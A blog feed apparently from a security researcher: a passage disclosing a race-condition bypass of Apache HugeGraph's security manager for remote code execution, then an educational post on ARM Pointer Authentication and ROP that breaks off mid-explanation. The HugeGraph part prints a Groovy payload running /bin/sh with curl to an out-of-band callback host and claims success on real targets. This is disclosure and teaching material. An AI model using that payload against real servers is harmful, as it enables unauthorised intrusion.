2025-09-17 22:37:02 [gremlin-server-exec-9] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

	at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollector.java:311) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addFatalError(ErrorCollector.java:151) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addError(ErrorCollector.java:121) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addError(ErrorCollector.java:133) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.SourceUnit.addError(SourceUnit.java:325) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.antlr.AntlrParserPlugin.transformCSTIntoAST(AntlrParserPlugin.java:224) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.antlr.AntlrParserPlugin.parseCST(AntlrParserPlugin.java:192) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.SourceUnit.parse(SourceUnit.java:226) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit$1.call(CompilationUnit.java:201) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(CompilationUnit.java:965) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:642) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:618) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:595) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:401) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.access$300(GroovyClassLoader.java:89) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader$5.provide(GroovyClassLoader.java:341) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader$5.provide(GroovyClassLoader.java:338) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.memoize.ConcurrentCommonCache.getAndPut(ConcurrentCommonCache.java:147) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:336) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:320) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:262) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.lambda$load$0(GremlinGroovyScriptEngine.java:821) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1700) ~[?:?]
	at java.util.concurrent.CompletableFuture.asyncSupplyStage(CompletableFuture.java:1714) ~[?:?]
	at java.util.concurrent.CompletableFuture.supplyAsync(CompletableFuture.java:1931) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.load(GremlinGroovyScriptEngine.java:819) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.load(GremlinGroovyScriptEngine.java:814) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache$BoundedLocalLoadingCache.lambda$new$0(BoundedLocalCache.java:3117) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalCache.lambda$statsAware$0(LocalCache.java:144) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.lambda$doComputeIfAbsent$16(BoundedLocalCache.java:1968) ~[caffeine-2.3.1.jar:?]
	at java.util.concurrent.ConcurrentHashMap.compute(ConcurrentHashMap.java:1908) ~[?:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.doComputeIfAbsent(BoundedLocalCache.java:1966) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.computeIfAbsent(BoundedLocalCache.java:1949) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalCache.computeIfAbsent(LocalCache.java:113) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalLoadingCache.get(LocalLoadingCache.java:67) ~[caffeine-2.3.1.jar:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.getScriptClass(GremlinGroovyScriptEngine.java:569) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:376) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-10] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and No such property: graph for class: Script11
groovy.lang.MissingPropertyException: No such property: graph for class: Script11
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:65) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.PogoGetPropertySite.getProperty(PogoGetPropertySite.java:51) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callGroovyObjectGetProperty(AbstractCallSite.java:309) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script11.run(Script11.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-11] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-11] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:416) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:313) ~[?:?]
	at java_lang_Runtime$exec$0.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script12.run(Script12.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-12] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-12] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:451) ~[?:?]
	at java_lang_Runtime$exec$1.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script13.run(Script13.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-1] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-1] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:416) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:313) ~[?:?]
	at java_lang_Runtime$exec$0.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script14.run(Script14.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-2] [ERROR] o.a.t.g.g.j.GremlinGroovyScriptEngine - Script compilation FAILED def file = new java.io.File('/bin/sh'); if(file.exists()) { java.lang.Runtime.getRuntime().exec('/bin/sh -c "curl -s http://.oast.fun/filesystem-1758148622"'); } 'executed' took 3ms org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script15.groovy: 1: unexpected token: executed @ line 1, column 196.
   n/filesystem-1758148622"'); } 'executed'
                                 ^
</code></pre></div></div>

<h1 id="exploitation">Exploitation</h1>

<p>The failed payload in execution will always return for you an exception <code class="language-plaintext highlighter-rouge">java.lang.SecurityException</code>, he successful ones will alays return binary in response.  I tested it on different real world targets and it worked.</p>

<p><img src="https://i.ibb.co/C5Wxs74j/Screenshot-2025-09-19-at-12-02-28-AM.png" alt="Screenshot 2025-09-19 at 12.02.28 AM.png" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"service"</span><span class="p">:</span><span class="s2">"hugegraph"</span><span class="p">,</span><span class="nl">"version"</span><span class="p">:</span><span class="s2">"1.5.0"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"doc"</span><span class="p">:</span><span class="s2">"https://hugegraph.apache.org/docs/"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"api_doc"</span><span class="p">:</span><span class="s2">"https://hugegraph.apache.org/docs/clients/"</span><span class="p">,</span><span class="nl">"swagger_ui"</span><span class="p">:</span><span class="s2">"http://0.0.0.0:8089/swagger-ui/index.html"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"apis"</span><span class="p">:[</span><span class="s2">"arthas"</span><span class="p">,</span><span class="s2">"auth"</span><span class="p">,</span><span class="s2">"cypher"</span><span class="p">,</span><span class="s2">"filter"</span><span class="p">,</span><span class="s2">"graph"</span><span class="p">,</span><span class="s2">"gremlin"</span><span class="p">,</span><span class="s2">"job"</span><span class="p">,</span><span class="s2">"metrics"</span><span class="p">,</span><span class="s2">"profile"</span><span class="p">,</span><span class="s2">"raft"</span><span class="p">,</span><span class="s2">"resources"</span><span class="p">,</span><span class="s2">"schema"</span><span class="p">,</span><span class="s2">"traversers"</span><span class="p">,</span><span class="s2">"variables"</span><span class="p">]}</span><span class="w">
</span></code></pre></div></div>

<p>And it worked on a latest version on that arget and was able to get information out of it by executing commands on it:</p>

<p><img src="https://i.ibb.co/j9KFZpHD/Screenshot-2025-09-19-at-12-05-12-AM.png" alt="screenshot" /></p>

<p>You can find the PoC on my <a href="https://github.com/Zeyad-Azima/0DayHugeGraph">github</a>.</p>

<h1 id="debugging-challenges">Debugging Challenges</h1>

<p>One particularly insidious aspect of this vulnerability is the significant challenge it poses to traditional debugging methods, making it difficult to detect and reproduce. When attempting to debug the race condition, several obstacles arise: breakpoints in a debugger alter the timing, preventing the race condition from manifesting; single-step execution during manual testing consistently shows the security measures functioning correctly; additional logging introduces delays that can mask the issue by altering timing; and the vulnerability only emerges under specific concurrent load conditions. As a result, this vulnerability may go unnoticed during standard security testing, only becoming exploitable under the high-pressure environment of production load.</p>

<h1 id="conclusion">Conclusion</h1>

<p>This investigation into Apache HugeGraph Server reveals a critical vulnerability that enables bypassing the Security and acieve Remote Code Execution (RCE) under high-concurrency conditions, exposing a significant flaw in the <code class="language-plaintext highlighter-rouge">HugeSecurityManager</code> class. The inconsistent behavior of payloads—failing individually but succeeding during bulk concurrent requests—points to a race condition, likely stemming from non-atomic operations in the security check process. This issue, which manifests only under specific load scenarios, evades traditional debugging and testing methods, making it particularly insidious.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Exploit Development" /><category term="Exploit Development" /><category term="Apache" /><category term="PoC" /><category term="Exploitation" /><category term="zero day" /><category term="0day" /><category term="cve" /><summary type="html"><![CDATA[Research for bypassing SecurityManager for a RCE Vunerability in Apache HugeGraph Server.]]></summary></entry><entry><title type="html">We are ARMed no more ROPpery Here</title><link href="https://zeyadazima.com/exploit%20development/pointer_pac/" rel="alternate" type="text/html" title="We are ARMed no more ROPpery Here" /><published>2025-01-13T00:00:00+00:00</published><updated>2025-01-13T00:00:00+00:00</updated><id>https://zeyadazima.com/exploit%20development/pointer_pac</id><content type="html" xml:base="https://zeyadazima.com/exploit%20development/pointer_pac/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>In 2017, ARM introduced Pointer Authentication (PAC) as part of its ARMv8.3-A architecture updates. This groundbreaking solution aimed to tackle one of the most critical challenges in software security: memory corruption vulnerabilities. By leveraging cryptographic techniques, PAC made it significantly harder for attackers to tamper with pointers in memory undetected.</p>

<p>PAC plays a pivotal role in modern security by embedding Pointer Authentication Codes (PACs) into unused bits of pointer values. This innovative approach provides a lightweight and efficient mechanism for verifying pointer integrity while maintaining compatibility with existing systems. It addresses a variety of attack vectors, such as buffer overflows and control flow hijacking, which continue to pose threats in software development.</p>

<p>In this blog post, we will delve into the design and functionality of Pointer Authentication, exploring how it mitigates these security issues. We will also discuss its practical applications and the unique advantages it offers in environments that demand a balance between performance, size, and robust protection.</p>

<h1 id="the-problems">The Problems</h1>

<p>Memory corruption vulnerabilities represent a longstanding and critical challenge in software security. These vulnerabilities often stem from programming errors, such as buffer overflows, use-after-free conditions, or incorrect pointer handling, which allow attackers to manipulate memory content maliciously. Exploiting such vulnerabilities enables attackers to compromise the integrity of control data—such as function pointers, return addresses, or sensitive variables—leading to control flow hijacking, data manipulation, and unauthorized access.</p>

<p>A common form of memory corruption, buffer overflow, occurs when data written to a buffer exceeds its allocated size, overwriting adjacent memory locations. Similarly, use-after-free vulnerabilities exploit dangling pointers referencing deallocated memory, allowing attackers to read or write unintended memory regions. Heap corruption and integer overflow errors exacerbate these problems by disrupting memory allocators and enabling attackers to execute arbitrary code. These vulnerabilities often serve as entry points for exploitation techniques like return-oriented programming (ROP), privilege escalation, and remote code execution.</p>

<p>Existing defenses against memory corruption focus on three primary strategies: preventing corruption, detecting it, and obscuring targets. Prevention mechanisms include placing sensitive data and pointers in read-only memory. While effective for static data, this approach fails to protect dynamic pointers, such as return addresses on the stack or dynamically allocated objects. Detection mechanisms like Software Stack Protection (SSP) and Control Flow Integrity (CFI) verify pointer integrity before use, often relying on random values (e.g., stack canaries). However, these methods can be bypassed using memory disclosure vulnerabilities. Randomization techniques, such as Address Space Layout Randomization (ASLR), obscure the memory layout, making it harder for attackers to locate critical data. Yet, these defenses are insufficient against sophisticated exploits that bypass randomization using memory leaks or brute force.</p>

<p>The impact of memory corruption vulnerabilities is severe, ranging from system crashes and denial of service to full system compromise through privilege escalation or remote code execution. Despite advancements in defensive techniques, their effectiveness is often hindered by performance trade-offs, implementation complexity, and compatibility issues, especially in resource-constrained environments. These limitations underscore the need for a robust, lightweight, and efficient solution. <strong>Pointer Authentication (PAC)</strong> addresses these challenges by embedding cryptographically secure authentication codes into pointers, providing a powerful mechanism to detect and prevent memory corruption with minimal performance overhead.</p>
<h1 id="understanding-rop-exploitation">Understanding ROP Exploitation</h1>

<p>Return-Oriented Programming (ROP) is a sophisticated exploitation technique designed to bypass modern memory protection mechanisms such as Data Execution Prevention (DEP). DEP prevents the execution of code from writable memory regions, effectively stopping traditional code injection attacks. However, ROP circumvents this by reusing legitimate code sequences, known as “gadgets,” already present in the program’s executable memory.</p>

<p>A gadget is a short sequence of instructions that typically ends with a <code class="language-plaintext highlighter-rouge">RET</code> (return) instruction. These gadgets are scattered throughout the memory of an executable or its linked libraries, such as libc. By chaining these gadgets, attackers can perform arbitrary computations without injecting new code. For example, a gadget might consist of two instructions like <code class="language-plaintext highlighter-rouge">POP RDI; RET</code>, which pops a value into the <code class="language-plaintext highlighter-rouge">RDI</code> register (used for the first argument in many calling conventions) and then returns control to the next address on the stack.</p>

<p>The history of ROP can be traced back to earlier exploitation techniques such as “return-to-libc,” where attackers hijacked control flow to call functions like <code class="language-plaintext highlighter-rouge">system()</code> directly. ROP extends this concept by enabling attackers to construct complex payloads, using gadgets to perform operations such as arithmetic, memory writes, or system calls, all while evading DEP.</p>

<h2 id="relation-to-memory-corruption-vulnerabilities">Relation to Memory Corruption Vulnerabilities</h2>

<p>Memory corruption vulnerabilities are the foundational enablers of ROP attacks. Common vulnerabilities like buffer overflows, use-after-free bugs, or heap corruption allow attackers to manipulate the program’s memory, specifically the stack or heap, to set up ROP chains.</p>

<p>For example, in a stack-based buffer overflow, the attacker writes beyond the buffer’s boundary and overwrites the return address of a function. By replacing this return address with the address of a gadget, the attacker can redirect control flow to that gadget. Subsequent gadgets are then executed in sequence, as each <code class="language-plaintext highlighter-rouge">RET</code> instruction directs execution to the next address on the manipulated stack.</p>

<p>Consider the following simple vulnerable C code:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">vulnerable_function</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">input</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">input</span><span class="p">);</span> <span class="c1">// No bounds checking!</span>
<span class="p">}</span>
</code></pre></div></div>

<p>An attacker exploiting this vulnerability can provide input that overwrites the <code class="language-plaintext highlighter-rouge">buffer</code> and the return address on the stack. Instead of returning to the normal execution flow, the program will execute a ROP chain, starting with a gadget like <code class="language-plaintext highlighter-rouge">POP RDI; RET</code>. The attacker can then supply the address of <code class="language-plaintext highlighter-rouge">/bin/sh</code> to the <code class="language-plaintext highlighter-rouge">RDI</code> register, followed by gadgets to call <code class="language-plaintext highlighter-rouge">system()</code>.</p>

<p>Memory corruption is essential to ROP because it enables the attacker to gain control over the execution flow. Without the ability to overwrite return addresses or function pointers, ROP chains cannot be executed. This dependency also makes defenses like stack canaries or shadow stacks relevant, as they attempt to detect or prevent unauthorized changes to the stack.</p>

<h2 id="how-it-works-">How it works ?</h2>
<p>Unlike traditional exploits that inject malicious code, ROP uses snippets of legitimate instructions already present in the program’s memory or linked libraries. This makes ROP effective at bypassing defenses like Data Execution Prevention (DEP), which prevents execution from writable memory regions. Below, we dive into the details of how ROP works with technical explanations, memory examples, and lifecycle.</p>

<p>Let’s take the following program as an example, The program starts executing, and user input is passed to a vulnerable function. If the input size exceeds the allocated buffer’s limit (<code class="language-plaintext highlighter-rouge">buffer[64]</code>), it causes a <strong>buffer overflow</strong>, enabling the attacker to overwrite the stack.</p>

<ul>
  <li>Stack Layout Before Overflow:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------------------+
| Local variables     | (e.g., buffer[64])
+---------------------+
| Saved EBP           | (Base pointer)
+---------------------+
| Return Address      | (Points to code after vulnerable_function)
+---------------------+
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-1-overwriting-the-return-address">Stage 1: Overwriting the Return Address</h3>

<p>The attacker’s crafted input overwrites the return address on the stack. This input includes:</p>
<ol>
  <li><strong>Padding</strong> to fill the buffer (64 bytes).</li>
  <li><strong>Overwritten EBP</strong> (optional).</li>
  <li><strong>Address of the first gadget</strong>, such as <code class="language-plaintext highlighter-rouge">POP RDI; POP RSI; RET</code>.</li>
</ol>

<p>So, The input would be as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>'A' * 64 + 'B' * 8 + Address of Gadget + Arguments for target_function
</code></pre></div></div>

<p>After passing the input, The stack would be as the following:</p>

<ul>
  <li>Stack Layout After Overflow:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Padding ('A' * 64)       |
+--------------------------+
| Overwritten EBP ('B' * 8)|
+--------------------------+
| Gadget Address (0x400123)| --&gt; POP RDI; POP RSI; RET
+--------------------------+
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="stage-2-executing-the-first-gadget">Stage 2: Executing the First Gadget</h3>

<p><img src="https://github.com/user-attachments/assets/943fe131-594d-4e52-93d2-4628f1eb7823" alt="image" /></p>

<p>The processor reaches the overwritten return address and executes the first <code class="language-plaintext highlighter-rouge">ROP</code> gadget. The gadget (<code class="language-plaintext highlighter-rouge">POP RDI; POP RSI; RET</code>) pops two values from the stack into the <code class="language-plaintext highlighter-rouge">RDI</code> and <code class="language-plaintext highlighter-rouge">RSI</code> registers, setting up the arguments for the target function. Which making the Stack Layout as the following:</p>

<ul>
  <li>Stack Layout After Gadget Execution:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+--------------------------+
| Argument 1 (5)           | --&gt; RDI
+--------------------------+
| Argument 2 (10)          | --&gt; RSI
+--------------------------+
| target_function Address  | --&gt; 0x400456
+--------------------------+
